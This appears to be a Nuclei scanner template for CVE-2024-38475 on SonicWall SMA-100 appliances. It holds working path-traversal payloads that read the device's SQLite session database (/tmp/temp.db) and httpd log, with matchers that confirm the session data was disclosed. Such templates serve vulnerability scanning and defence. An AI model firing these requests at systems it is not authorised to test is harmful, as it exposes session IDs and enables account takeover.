id: CVE-2024-38475

info:
  name: "Sonicwal - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map
    URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly
    reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context
    that use a backreferences or variables as the first segment of the substitution are affected.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-38475&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sonicwal&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-38475
    cwe-id: CWE-116
  metadata:
    verified: false
  tags: cve,cve2024,sonicwal,sma-100,lfi,kev,vkev,vuln
http:
  - method: GET
    path:
      - "{{BaseURL}}/tmp/temp.db%3f.1.1.1.1a-1.css"
      - "{{BaseURL}}/mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css"

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "SQLite format","sessionId")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        dsl:
          - 'contains_all(body, "mod_antiloris","[pid")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and